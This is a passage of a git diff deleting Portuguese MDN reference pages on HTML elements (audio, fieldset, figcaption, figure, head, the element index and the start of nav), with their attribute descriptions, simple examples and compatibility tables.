-<p class="hidden">Esta tabela de compatibilidade de <em>browsers</em> é gerada automaticamente a partir de dados organizados. Se quiser contribuir ao atualizar os dados, veja <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e envie-nos um <em>pull request</em>.</p>
-
-<p>{{Compat("html.elements.link.rel")}}</p>
-
-<h2 id="Veja_também">Veja também</h2>
-
-<ul>
- <li>{{domxref("HTMLLinkElement.relList")}}</li>
- <li>{{domxref("HTMLAnchorElement.relList")}}</li>
- <li>{{domxref("HTMLAreaElement.relList")}}</li>
-</ul>
diff --git a/files/pt-pt/web/html/element/audio/index.html b/files/pt-pt/web/html/element/audio/index.html
deleted file mode 100644
index 6c9a45428a..0000000000
--- a/files/pt-pt/web/html/element/audio/index.html
+++ /dev/null
@@ -1,48 +0,0 @@
----
-title: Audio
-slug: Web/HTML/Element/audio
-translation_of: Web/HTML/Element/audio
-original_slug: Web/HTML/Elemento/Audio
----
-<p>{{ gecko_minversion_header("1.9.1") }}</p>
-<p>O elemento <code>audio</code> é usado para embutir conteúdo de som em um documento HTML or XHTML.  O elemento <code>audio</code> foi adicionado como parte do HTML 5.</p>
-<ul>
- <li>Tipo do Elemento: <a class="internal" href="/en/HTML/Block-level_elements" title="en/HTML/Block-level elements">block-level</a> (en)</li>
- <li>Conteúdo Permitido: texto alternativo</li>
-</ul>
-<div class="note">
- <strong>Nota:</strong> Atualmente, o Firefox suporta apenas Vorbis, em recipientes Ogg, assim como o formato WAV. O servidor também deve servir o arquivo usando o MIME type correto para que o Firefox o reproduza corretamente.</div>
-<h2 id="Atributos">Atributos</h2>
-<dl>
- <dt>
- autoplay</dt>
- <dd>
- Um atributo boleano; se especificado (mesmo se o valor for "false"!), o áudio começará a tocar automaticamente assim que ele conseguir, portanto, sem parar para finalizar o carregamento dos dados.</dd>
- <dt>
- controls {{ unimplemented_inline() }} {{ bug(449149) }}</dt>
- <dd>
- Se este atributo estiver presente, o navegador oferecerá controles para permitir que o usuário controle a reprodução do áudio, incluindo volume, procura, e pausa/continuar.</dd>
- <dt>
- loop {{ unimplemented_inline() }} {{ bug(449157) }}</dt>
- <dd>
- Um atributo boleano; se especificado, quando alcançar o fim do áudio, voltará ao início automaticamente.</dd>
- <dt>
- src</dt>
- <dd>
- A URL do áudio a embutir. Este é assunto para <a class="internal" href="/En/HTTP_access_control" title="En/HTTP access control">protocolos de acesso HTTP</a> (en).</dd>
-</dl>
-<p>O deslocamento de tempo é especificado como um valor de ponto flutuante indicando o número de segundos do deslocamento.</p>
-<div class="note">
- <strong>Nota:</strong> A definição do valor de deslocamento de tempo ainda não está completa na especificação do HTML 5 e está sujeita a mudanças.</div>
-<h2 id="Exemplos">Exemplos</h2>
-<pre class="brush: html">&lt;audio src="http://developer.mozilla.org/@api/deki/files/2926/=AudioTest_(1).ogg" autoplay&gt;
-  Seu navegador não suporta o elemento &lt;code&gt;audio&lt;/code&gt;.
-&lt;/audio&gt;
-</pre>
-<p>Reproduz o arquivo de áudio anexado à versão em inglês deste artigo.</p>
-<h2 id="Veja_Também">Veja Também</h2>
-<ul>
- <li><a class="internal" href="/Pt/HTML/Elemento/Video" title="pt/HTML/Elemento/Video"><code>video</code></a></li>
- <li><code>{{ interface("nsIDOMHTMLMediaElement") }}</code></li>
- <li><a class="internal" href="/Pt/Usando_%C3%A1udio_e_v%C3%ADdeo_no_Firefox" title="pt/Usando áudio e vídeo no Firefox">Usando áudio e vídeo no Firefox</a></li>
-</ul>
diff --git a/files/pt-pt/web/html/element/fieldset/index.html b/files/pt-pt/web/html/element/fieldset/index.html
deleted file mode 100644
index 1b90d328b2..0000000000
--- a/files/pt-pt/web/html/element/fieldset/index.html
+++ /dev/null
@@ -1,178 +0,0 @@
----
-title: '<fieldset>: O elemento "Field Set"'
-slug: Web/HTML/Element/fieldset
-tags:
- - Elemento
- - Formulários HTML
- - HTML
- - Referencia
- - Web
- - formulários
-translation_of: Web/HTML/Element/fieldset
-original_slug: Web/HTML/Elemento/fieldset
----
-<p>O <strong>elemento HTML <code>&lt;fieldset&gt;</code> </strong>é utilizado para agrupar vários controlos, bem como as etiquetas ({{HTMLElement("label")}}) dentro de um formulário da Web.</p>
-
-<div>{{EmbedInteractiveExample("pages/tabbed/fieldset.html", "tabbed-standard")}}</div>
-
-<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples </a> and send us a pull request.</p>
-
-<p>As the example above shows, the <code>&lt;fieldset&gt;</code> element provides a grouping for a part of an HTML form, with a nested {{htmlelement("legend")}} element providing a caption for the <code>&lt;fieldset&gt;</code>. It takes few attributes, the most notable of which are <code>form</code>, which can contain the <code>id</code> of a {{htmlelement("form")}} on the same page, allowing you to make the <code>&lt;fieldset&gt;</code> part of that <code>&lt;form&gt;</code> even if it is not nested inside it, and <code>disabled</code>, which allows you to disable the <code>&lt;fieldset&gt;</code> and all its contents in one go.</p>
-
-<h2 id="Atributos">Atributos</h2>
-
-<p>This element includes the <a href="/en-US/docs/HTML/Global_attributes">global attributes</a>.</p>
-
-<dl>
- <dt>{{htmlattrdef("disabled")}} {{HTMLVersionInline(5)}}</dt>
- <dd>If this Boolean attribute is set, all form controls that are descendants of the <code>&lt;fieldset&gt;</code>, are disabled, meaning they are not editable but will be submitted along with <code>&lt;form&gt;</code> in comparison with {{htmlattrdef("disabled")}} attribute on form controls. They won't receive any browsing events, like mouse clicks or focus-related events. By default browsers display such controls grayed out. Note that form elements inside the {{HTMLElement("legend")}} element won't be disabled.</dd>
- <dt>{{htmlattrdef("form")}} {{HTMLVersionInline(5)}}</dt>
- <dd>This attribute takes the value of the <code>id</code> attribute of a {{HTMLElement("form")}} element you want the <code>&lt;fieldset&gt;</code> to be part of, even if it is not inside the form.</dd>
- <dt>{{htmlattrdef("name")}} {{HTMLVersionInline(5)}}</dt>
- <dd>The name associated with the group.
- <div class="note"><strong>Note</strong>: The caption for the fieldset is given by the first {{HTMLElement("legend")}} element nested inside it.</div>
- </dd>
-</dl>
-
-<h2 id="Estilizar_com_CSS">Estilizar com CSS</h2>
-
-<p>There are several special styling considerations for <code>&lt;fieldset&gt;</code>.</p>
-
-<p>Its {{cssxref("display")}} value is <code>block</code> by default, and it establishes a block formatting context. If the <code>&lt;fieldset&gt;</code> is styled with an inline-level <code>display</code> value, it will behave as <code>inline-block</code>, otherwise it will behave as <code>block</code>. By default there is a 2px groove border surrounding the contents, and a small amount of default padding. The element has <code>min-inline-size: min-content</code> by default.</p>
-
-<p>If a <code>&lt;legend&gt;</code> is present, it is placed over the block-start border. The <code>&lt;legend&gt;</code> shrink-wraps, and also establishes a formatting context. The <code>display</code> value is blockified (for example, <code>display: inline</code> behaves as <code>block</code>).</p>
-
-<p>There will be an anonymous box holding the contents of the <code>&lt;fieldset&gt;</code>, which inherits certain properties from the <code>&lt;fieldset&gt;</code>. If the <code>&lt;fieldset&gt;</code> is styled with <code>display: grid</code> or <code>display: inline-grid</code>, then the anonymous box will be a grid formatting context. If the <code>&lt;fieldset&gt;</code> is styled with <code>display: flex</code> or <code>display: inline-flex</code>, then the anonymous box will be a flex formatting context. Otherwise it establishes a block formatting context.</p>
-
-<p>You can feel free to style the <code>&lt;fieldset&gt;</code> and <code>&lt;legend&gt;</code> in any way you want to suit your page design.</p>
-
-<div class="note">
-<p><strong>Nota: </strong>as of this writing, there are bugs in Microsoft Edge and Google Chrome which prevent <a href="/en-US/docs/Glossary/Flexbox">flexbox</a> and <a href="/en-US/docs/Web/CSS/CSS_Grid_Layout">grid </a>layouts from being used inside a {{HTMLElement("fieldset")}}. <a href="https://github.com/w3c/csswg-drafts/issues/321">This GitHub issue</a> provides bug tracking links.</p>
-</div>
-
-<h2 id="Exemplo">Exemplo</h2>
-
-<h3 id="Simple_fieldset">Simple fieldset</h3>
-
-<p>This example shows a really simple <code>&lt;fieldset&gt;</code> example, with a <code>&lt;legend&gt;</code>, and a single control inside it.</p>
-
-<pre class="brush: html">&lt;form action="#"&gt;
- &lt;fieldset&gt;
- &lt;legend&gt;Simple fieldset&lt;/legend&gt;
- &lt;input type="radio" id="radio"&gt;
- &lt;label for="radio"&gt;Spirit of radio&lt;/label&gt;
- &lt;/fieldset&gt;
-&lt;/form&gt;</pre>
-
-<p>{{ EmbedLiveSample('Simple_fieldset', '100%', '80') }}</p>
-
-<h3 id="fieldset_desativado">"fieldset" desativado</h3>
-
-<p>This example shows a disabled <code>&lt;fieldset&gt;</code> with two controls inside it. Note how both the controls are disabled due to being inside a disabled <code>&lt;fieldset&gt;</code>.</p>
-
-<pre class="brush: html">&lt;form action="#"&gt;
- &lt;fieldset disabled&gt;
- &lt;legend&gt;Disabled fieldset&lt;/legend&gt;
- &lt;div&gt;
- &lt;label for="name"&gt;Name: &lt;/label&gt;
- &lt;input type="text" id="name" value="Chris"&gt;
- &lt;/div&gt;
- &lt;div&gt;
- &lt;label for="pwd"&gt;Archetype: &lt;/label&gt;
- &lt;input type="password" id="pwd" value="Wookie"&gt;
- &lt;/div&gt;
- &lt;/fieldset&gt;
-&lt;/form&gt;</pre>
-
-<p>{{ EmbedLiveSample('Disabled_fieldset', '100%', '110') }}</p>
-
-<h2 id="Resumo_técnico">Resumo técnico</h2>
-
-<table class="properties">
- <tbody>
- <tr>
- <th scope="row"><a href="/en-US/docs/HTML/Content_categories">Categorias de conteúdo</a></th>
- <td><a href="/en-US/docs/HTML/Content_categories#Flow_content">Flow content</a>, <a href="/en-US/docs/Sections_and_Outlines_of_an_HTML5_document#sectioning_root">sectioning root</a>, <a href="/en-US/docs/HTML/Content_categories#form_listed">listed</a>, <a href="/en-US/docs/HTML/Content_categories#form-associated_content">form-associated</a> element, palpable content.</td>
- </tr>
- <tr>
- <th scope="row">Conteúdo permitido</th>
- <td>An optional {{HTMLElement("legend")}} element, followed by flow content.</td>
- </tr>
- <tr>
- <th scope="row">Omissão de etiqueta</th>
- <td>{{no_tag_omission}}</td>
- </tr>
- <tr>
- <th scope="row">Permitted parents</th>
- <td>Any element that accepts <a href="/en-US/docs/HTML/Content_categories#Flow_content">flow content</a>.</td>
- </tr>
- <tr>
- <th scope="row">Permitted ARIA roles</th>
- <td>{{ARIARole("group")}}, {{ARIARole("presentation")}}</td>
- </tr>
- <tr>
- <th scope="row">Interface DOM</th>
- <td>{{domxref("HTMLFieldSetElement")}}</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName('HTML WHATWG', 'forms.html#the-fieldset-element', '&lt;fieldset&gt;')}}</td>
- <td>{{Spec2('HTML WHATWG')}}</td>
- <td>Definition of the <code>fieldset</code> element</td>
- </tr>
- <tr>
- <td>{{SpecName('HTML5 W3C', 'forms.html#the-fieldset-element', '&lt;fieldset&gt;')}}</td>
- <td>{{Spec2('HTML5 W3C')}}</td>
- <td></td>
- </tr>
- <tr>
- <td>{{SpecName('HTML4.01', 'interact/forms.html#h-17.10', '&lt;fieldset&gt;')}}</td>
- <td>{{Spec2('HTML4.01')}}</td>
- <td>Initial definition</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-
-
-<p>{{Compat("html.elements.fieldset")}}</p>
-
-<h2 id="Consulte_também">Consulte também:</h2>
-
-<ul>
- <li>Other form-related elements:
- <ul>
- <li>{{HTMLElement("form")}}</li>
- <li>{{HTMLElement("legend")}}</li>
- <li>{{HTMLElement("label")}}</li>
- <li>{{HTMLElement("button")}}</li>
- <li>{{HTMLElement("select")}}</li>
- <li>{{HTMLElement("datalist")}}</li>
- <li>{{HTMLElement("optgroup")}}</li>
- <li>{{HTMLElement("option")}}</li>
- <li>{{HTMLElement("textarea")}}</li>
- <li>{{HTMLElement("keygen")}}</li>
- <li>{{HTMLElement("input")}}</li>
- <li>{{HTMLElement("output")}}</li>
- <li>{{HTMLElement("progress")}}</li>
- <li>{{HTMLElement("meter")}}</li>
- </ul>
- </li>
-</ul>
-
-<div>{{HTMLRef}}</div>
diff --git a/files/pt-pt/web/html/element/figcaption/index.html b/files/pt-pt/web/html/element/figcaption/index.html
deleted file mode 100644
index 1a0cf18319..0000000000
--- a/files/pt-pt/web/html/element/figcaption/index.html
+++ /dev/null
@@ -1,102 +0,0 @@
----
-title: figcaption
-slug: Web/HTML/Element/figcaption
-translation_of: Web/HTML/Element/figcaption
-original_slug: Web/HTML/Elemento/figcaption
----
-<h2 id="Introdução">Introdução</h2>
-
-<p>O <em>Elemento HTML Figcaption</em>(<code>&lt;figcaption&gt;</code>) representa uma legenda ou uma legenda associada com uma figura ou ilustração descrita pelo resto dos dados do elemento {{ HTMLElement("figure") }} que seu elemento pai.</p>
-
-<h3 id="Contexto_de_Uso">Contexto de Uso</h3>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <td>Conteúdo permitido</td>
- <td><a href="/en/HTML/Content_categories#flow_content" title="en/HTML/Content categories#flow content">Flow content</a></td>
- </tr>
- <tr>
- <td>Omissão de Tag</td>
- <td>
- <p>Nenhum, tanto a tag de início e fim são obrigatórias</p>
- </td>
- </tr>
- <tr>
- <td>Elemento Pai Permitido</td>
- <td>Um Elemento {{ HTMLElement("figure") }}</td>
- </tr>
- <tr>
- <td>Documento Normativo</td>
- <td><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/grouping-content.html#the-figcaption-element" rel="external nofollow" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/grouping-content.html#the-figcaption-element">HTML5, section 4.5.12</a></td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Atributos">Atributos</h3>
-
-<p>Esse elemento não tem nenhum outro atributo além dos <a href="/en/HTML/Global_attributes" rel="internal">atributos globais</a>, comum a todos os elementos.</p>
-
-<h3 class="editable" id="Interface_DOM">Interface DOM</h3>
-
-<p>Esse elemento implementa a interface <code><a href="/en/DOM/element" title="en/DOM/element">HTMLElement</a></code>.</p>
-
-<h3 id="Examples">Examples</h3>
-
-<p>Favor consulte o página {{ HTMLElement("figure") }} para exemplos de &lt;figcaption&gt;.</p>
-
-<h3 id="Compatibilidade">Compatibilidade</h3>
-
-<p>{{ CompatibilityTable() }}</p>
-
-<div id="compat-desktop">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Chrome</th>
- <th>Firefox (Gecko)</th>
- <th>Internet Explorer</th>
- <th>Opera</th>
- <th>Safari</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>8</td>
- <td>{{ CompatGeckoDesktop("2.0") }}</td>
- <td>9.0</td>
- <td>11.10</td>
- <td>5.1</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<div id="compat-mobile">
-<table class="compat-table">
- <tbody>
- <tr>
- <th>Feature</th>
- <th>Android</th>
- <th>Firefox Mobile (Gecko)</th>
- <th>IE Mobile</th>
- <th>Opera Mobile</th>
- <th>Safari Mobile</th>
- </tr>
- <tr>
- <td>Basic support</td>
- <td>3.0</td>
- <td>{{ CompatGeckoMobile("2.0") }}</td>
- <td>9.0</td>
- <td>11.0</td>
- <td>5.1 (iOS 5.0)</td>
- </tr>
- </tbody>
-</table>
-</div>
-
-<h3 id="Ver_Também">Ver Também</h3>
-
-<ul>
- <li>O elemento {{ HTMLElement("figure") }}.</li>
-</ul>
diff --git a/files/pt-pt/web/html/element/figure/index.html b/files/pt-pt/web/html/element/figure/index.html
deleted file mode 100644
index 263f403afb..0000000000
--- a/files/pt-pt/web/html/element/figure/index.html
+++ /dev/null
@@ -1,57 +0,0 @@
----
-title: figure
-slug: Web/HTML/Element/figure
-translation_of: Web/HTML/Element/figure
-original_slug: HTMLToDelete/Element/figure
----
-<p>O elemento de figura HTML (<span style="font-family: Courier New;">&lt;figure&gt;</span>) representa uma tag de conteúdo próprio, frequentemente com legenda. Geralmente referenciada idendependente do fluxo principal do documento, podendo assim ser movido atravéz do fluxo principal sem afeta-lo.</p>
-
-<div class="note">
-<p><em>Notas de Uso: </em></p>
-
-<ul>
- <li>Iniciando uma seção raiz o escopo do conteúdo do elemento <span style="font-family: Courier New;">&lt;figure&gt;</span> é excluído do escopo principal do documento.</li>
- <li>Uma legenda pode ser associada com o elemento &lt;figure&gt; inserindo um elemento {{ HTMLElement("figcaption") }} dentro dele (podendo ser primeiro ou ultimo nó filho).</li>
-</ul>
-</div>
-
-<h3 id="Contexto_de_Uso">Contexto de Uso</h3>
-
-<table class="standard-table" style="height: 117px; width: 1125px;">
- <tbody>
- <tr>
- <th>Tipo</th>
- <th><a href="/en/Sections_and_Outlines_of_an_HTML5_document#sectioning_root" title="en/Sections and Outlines of an HTML5 document#sectioning root">Seccionando orig</a></th>
- </tr>
- <tr>
- <td>Contexto Permitido</td>
- <td>Um elemento {{ HTMLElement("figcaption") }}, seguido pelo fluxo do conteúdo; ou o fluxo do conteúdo seguido pelo elemento {{ HTMLElement("figcaption") }}</td>
- </tr>
- <tr>
- <td>Omissão de Tag</td>
- <td><span id="result_box" lang="pt"><span class="hps" title="Clique para mostrar traduções alternativas">Nenhum</span><span title="Clique para mostrar traduções alternativas">,</span> <span class="hps" title="Clique para mostrar traduções alternativas">ambos</span> <span class="hps" title="Clique para mostrar traduções alternativas">marca</span>m <span class="hps" title="Clique para mostrar traduções alternativas">o início</span> <span class="hps" title="Clique para mostrar traduções alternativas">e o</span> <span class="hps" title="Clique para mostrar traduções alternativas">fim</span> <span class="hps" title="Clique para mostrar traduções alternativas">da tag</span> <span class="hps" title="Clique para mostrar traduções alternativas">são</span> <span class="hps" title="Clique para mostrar traduções alternativas">obrigatórios</span></span></td>
- </tr>
- <tr>
- <td>Elementos Permitidos de Origem</td>
- <td><span class="short_text" id="result_box" lang="pt"><span class="hps" title="Clique para mostrar traduções alternativas">Qualquer</span> <span class="hps" title="Clique para mostrar traduções alternativas">elemento</span> <span class="hps" title="Clique para mostrar traduções alternativas">que</span> <span class="hps" title="Clique para mostrar traduções alternativas">aceita</span> <span class="hps" title="Clique para mostrar traduções alternativas">elementos de</span> <span class="hps" title="Clique para mostrar traduções alternativas">fluxo</span><span title="Clique para mostrar traduções alternativas">.</span></span></td>
- </tr>
- <tr>
- <td>Documento Normativo</td>
- <td><a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/multipage/text-level-semantics.html#the-mark-element" rel="external nofollow" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/text-level-semantics.html#the-mark-element">HTML5, section 4.5.11</a></td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Atributos">Atributos</h3>
-
-<p>Esse elemento não tem outros atributos além dos <a class="new " href="../../../../en/HTML/global_attributes" rel="internal">atributos globais</a>, comuns para todos elementos.</p>
-
-<h3 class="editable" id="DOM_Interface">DOM Interface</h3>
-
-<p>Esse elemento implementa a interface <code><a href="/en/DOM/element" title="en/DOM/element">HTMLElement</a></code>.</p>
-
-<h3 id="Veja_também">Veja também</h3>
-
-<ul>
- <li>O elemento {{ HTMLElement("figcaption") }}.</li>
-</ul>
diff --git a/files/pt-pt/web/html/element/head/index.html b/files/pt-pt/web/html/element/head/index.html
deleted file mode 100644
index 852cc803a1..0000000000
--- a/files/pt-pt/web/html/element/head/index.html
+++ /dev/null
@@ -1,109 +0,0 @@
----
-title: '<head> : O elemento dos metadados (Cabeçalho) do documento'
-slug: Web/HTML/Element/head
-tags:
- - Elemento
- - HTML
- - HTML:Metadata content
- - Referencia
- - Web
-translation_of: Web/HTML/Element/head
-original_slug: Web/HTML/Elemento/head
----
-<div>{{HTMLRef}}</div>
-
-<p>O <strong>elemento</strong> <strong><code>&lt;head&gt;</code> </strong>de <strong>HTML </strong>fornece a informação geral (metadados) sobre o documento, incluindo o seu título e hiperligações para as suas folhas de estilo e <em>scripts</em>.</p>
-
-<table class="properties">
- <tbody>
- <tr>
- <th><a href="/en-US/docs/Web/HTML/Content_categories">Categorias de conteúdo</a></th>
- <td>None.</td>
- </tr>
- <tr>
- <th>Permitted content</th>
- <td>If the document is an {{HTMLElement("iframe")}} {{htmlattrxref("srcdoc", "iframe")}} document, or if title information is available from a higher level protocol, zero or more elements of metadata content.<br>
- Otherwise, one or more elements of metadata content where exactly one is a {{HTMLElement("title")}} element.</td>
- </tr>
- <tr>
- <th>Tag omission</th>
- <td>The start tag may be omitted if the first thing inside the head element is an element.<br>
- The end tag may be omitted if the first thing following the head element is not a space character or a comment.</td>
- </tr>
- <tr>
- <th>Permitted parents</th>
- <td>An {{HTMLElement("html")}} element, as its first child.</td>
- </tr>
- <tr>
- <th>Permitted ARIA roles</th>
- <td>None</td>
- </tr>
- <tr>
- <th>DOM interface</th>
- <td>{{domxref("HTMLHeadElement")}}</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Atributos">Atributos</h2>
-
-<p>Este elemento inclui os <a href="/pt-PT/docs/Web/HTML/Atributos_globais">atributos globais</a>.</p>
-
-<dl>
- <dt>{{htmlattrdef("profile")}} {{obsolete_inline}}</dt>
- <dd>Os <em>URIs </em>de um ou mais perfis de metadados, separados por um espaço em branco.</dd>
-</dl>
-
-<h2 id="Exemplo">Exemplo</h2>
-
-<pre class="brush: html">&lt;html&gt;
- &lt;head&gt;
- &lt;title&gt;Document title&lt;/title&gt;
- &lt;/head&gt;
-&lt;/html&gt;
-</pre>
-
-<h2 id="Notas">Notas</h2>
-
-<p>Modern, HTML5-compliant browsers automatically construct a <code>&lt;head&gt;</code> element if the tags are omitted in the markup. <a class="external" href="https://www.stevesouders.com/blog/2010/05/12/autohead-my-first-browserscope-user-test/">This behavior cannot be guaranteed in ancient browsers</a>.</p>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <thead>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- </thead>
- <tbody>
- <tr>
- <td>{{SpecName('HTML WHATWG', 'semantics.html#the-head-element', '&lt;head&gt;')}}</td>
- <td>{{Spec2('HTML WHATWG')}}</td>
- <td>No change from latest shapshot</td>
- </tr>
- <tr>
- <td>{{SpecName('HTML5 W3C', 'document-metadata.html#the-head-element', '&lt;head&gt;')}}</td>
- <td>{{Spec2('HTML5 W3C')}}</td>
- <td>Obsoleted <code>profile</code></td>
- </tr>
- <tr>
- <td>{{SpecName('HTML4.01', 'struct/global.html#h-7.4.1', '&lt;head&gt;')}}</td>
- <td>{{Spec2('HTML4.01')}}</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2>
-
-<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
-
-<p>{{Compat("html.elements.head")}}</p>
-
-<h2 id="Consulte_também">Consulte também</h2>
-
-<ul>
- <li>Elements that can be used inside a <code>&lt;head&gt;</code> element: {{HTMLElement("title")}}, {{HTMLElement("base")}}, {{HTMLElement("link")}}, {{HTMLElement("style")}}, {{HTMLElement("meta")}}, {{HTMLElement("script")}}, {{HTMLElement("noscript")}}, {{HTMLElement("template")}}</li>
-</ul>
diff --git a/files/pt-pt/web/html/element/index.html b/files/pt-pt/web/html/element/index.html
deleted file mode 100644
index fc993d2315..0000000000
--- a/files/pt-pt/web/html/element/index.html
+++ /dev/null
@@ -1,108 +0,0 @@
----
-title: Referência dos elementos HTML
-slug: Web/HTML/Element
-tags:
- - Elemento
- - HTML
- - I10n:priority
- - Referencia
- - Web
- - básico
-translation_of: Web/HTML/Element
-original_slug: Web/HTML/Elemento
----
-<div>{{HTMLSidebar("Elements")}}</div>
-
-<p><span class="seoSummary">Esta página lista todos os {{Glossary("HTML")}} {{Glossary("Element","elementos")}}.</span> Eles são agrupados por função para ajudá-lo a encontrar facilmente o que tem em mente. Uma lista alfabética de todos os elementos é fornecida na barra lateral na página de cada elemento, bem como nesta.</p>
-
-<div class="note">
-<p>Para mais informação sobre os conceitos básicos dos elementos e atributos HTML, consulte a <a href="/pt-PT/docs/Learn/HTML/Introducao_ao_HTML">secção sobre elementos no artigo de Introdução ao HTML</a>.</p>
-</div>
-
-<h2 id="Raiz_principal">Raiz principal</h2>
-
-<p>{{HTMLRefTable("HTML Root Element")}}</p>
-
-<h2 id="Metadados_do_documento">Metadados do documento</h2>
-
-<p>Os metadados contêm informação acerca da página. Incluem informação sobre estilos, <em>scripts</em> e dados que ajudam a usar o software ({{Glossary("search engine", "motor de busca")}}, {{Glossary("Browser","Browsers")}}, etc.) e a interpretar a página. Os metadados para estilos e <em>scripts</em> devem ser definidos na página ou num link para um ficheiro que contém a informação.</p>
-
-<p>{{HTMLRefTable("HTML Document Metadata")}}</p>
-
-<h2 id="Secção_de_raiz">Secção de raiz</h2>
-
-<p>{{HTMLRefTable("Sectioning Root Element")}}</p>
-
-<h2 id="Segmentação_de_conteúdo">Segmentação de conteúdo</h2>
-
-<p>Os elementos de segmentação de conteúdo permitem-lhe organizar o documento em partes lógicas. Use os elementos de segmentação para criar um esquema vasto dos conteúdos da sua página, incluindo a navegação de cabeçalho e rodapé, e elementos de título para identificar secções de conteúdo.</p>
-
-<p>{{HTMLRefTable("HTML Sections")}}</p>
-
-<h2 id="Conteúdo_textual">Conteúdo textual</h2>
-
-<p>Use elementos textuais HTML para organizar blocos ou secções de conteúdo situados entre os elementos <code>&lt;/body&gt;</code> de início {{HTMLElement("body")}} e fim. Sendo importantes para {{Glossary("accessibility")}} e {{Glossary("SEO")}}, estes elementos identificam o propósito ou estrutura desse conteúdo.</p>
-
-<p>{{HTMLRefTable("HTML Grouping Content")}}</p>
-
-<h2 id="Semântica_de_texto_em_linha">Semântica de texto em linha</h2>
-
-<p>Use a semântica de texto em linha do HTML para definir o significado, estrutura ou estilo de uma palavra, linha ou texto arbitrário.</p>
-
-<p>{{HTMLRefTable("HTML Text-Level Semantics")}}</p>
-
-<h2 id="Imagem_e_multimédia">Imagem e multimédia</h2>
-
-<p>O HTML suporta vários recursos multimédia como imagens, áudio e vídeo.</p>
-
-<p>{{HTMLRefTable("multimedia")}}</p>
-
-<h2 id="Conteúdo_incorporado">Conteúdo incorporado</h2>
-
-<p>Além do conteúdo multimédia regular, o HTML poderá incluir diversos outros conteúdos, ainda que a interação com este nem sempre seja fácil.</p>
-
-<p>{{HTMLRefTable({"include":["HTML embedded content"], "exclude":["multimedia"]})}}</p>
-
-<h2 id="Scripting"><em>Scripting</em></h2>
-
-<p>De modo a criar conteúdos dinâmicos e aplicações Web, o HTML suporta o uso de linguages de <em>script</em>, nomeadamente JavaScript. Certos elementos suportam esta capacidade.</p>
-
-<p>{{HTMLRefTable("HTML Scripting")}}</p>
-
-<h2 id="Edições_de_demarcação">Edições de demarcação</h2>
-
-<p>Estes elementos permitem-lhe dar indicações sobre que partes do texto específicas foram alteradas.</p>
-
-<p>{{HTMLRefTable("HTML Edits")}}</p>
-
-<h2 id="Conteúdo_de_tabela">Conteúdo de tabela</h2>
-
-<p>Estes elementos são usados para criar e manipular dados tabulares.</p>
-
-<p>{{HTMLRefTable("HTML tabular data")}}</p>
-
-<h2 id="Formulários">Formulários</h2>
-
-<p>O HTML fornece um número de elementos que podem ser usados em conjunto para criar formulários que o utilizador poderá preencher e submeter na página web ou aplicação. Existe uma considerável quantidade de informação sobre o mesmo disponível na página <a href="/en-US/docs/Web/Guide/HTML/Forms">HTML forms guide</a>.</p>
-
-<p>{{HTMLRefTable({"include": ["HTML forms"], "exclude":["Deprecated"]})}}</p>
-
-<h2 id="Elementos_interativos">Elementos interativos</h2>
-
-<p>O HTML oferece uma selecção de elementos que ajudam a criar objectos interativos de interface com o utilizador.</p>
-
-<p>{{HTMLRefTable("elementos interativos HTML")}}</p>
-
-<h2 id="Componentes_da_Web">Componentes da Web</h2>
-
-<p>Os Componentes Web são uma tecnologia relacionada com o HTML que possibilitam a criação e utilização de elementos personalizados como se se tratassem de elementos HTML vulgares. Adicionalmente, poderá criar versões personalizadas de elementos HTML standard.</p>
-
-<p>{{HTMLRefTable({"include":["Web Components"],"exclude":["Deprecated", "Obsolete"]})}}</p>
-
-<h2 id="Elementos_obsoletos_e_desaprovados">Elementos obsoletos e desaprovados</h2>
-
-<div class="warning">
-<p><strong>Aviso:</strong> Estes são elementos HTML antigos que foram desaprovados e não devem ser usados. <strong>Nunca deve usá-los em projectos novos, e deve substitui-los em antigos projectos assim que possa.</strong> Os mesmos são aqui listados apenas para informação.</p>
-</div>
-
-<p>{{HTMLRefTable({"include":["Deprecated","Obsolete"]})}}</p>
diff --git a/files/pt-pt/web/html/element/nav/index.html b/files/pt-pt/web/html/element/nav/index.html
deleted file mode 100644
index a17cc914b9..0000000000
--- a/files/pt-pt/web/html/element/nav/index.html
+++ /dev/null
@@ -1,100 +0,0 @@
----
-title: <nav>
-slug: Web/HTML/Element/nav
-translation_of: Web/HTML/Element/nav
-original_slug: Web/HTML/Elemento/nav
----
-<div>{{HTMLRef}}</div>
-
-<p><span class="seoSummary">O elemento de <strong>HTML <code>&lt;nav&gt;</code> </strong>representa a seção de uma página cujo propósito é providenciar links de navegação, tanto dentro do documento em questão como para outros documentos. Exemplos comuns de seções de navegação são menus, tabelas de conteúdo e indíces.</span></p>
-
-<table class="properties">
- <tbody>
- <tr>
- <th scope="row">Categorias de conteúdo</th>
- <td><a href="/en-US/docs/HTML/Content_categories#Flow_content">Flow content</a>, conteúdo de seccionamento, conteúdo palpável.</td>
- </tr>
- <tr>
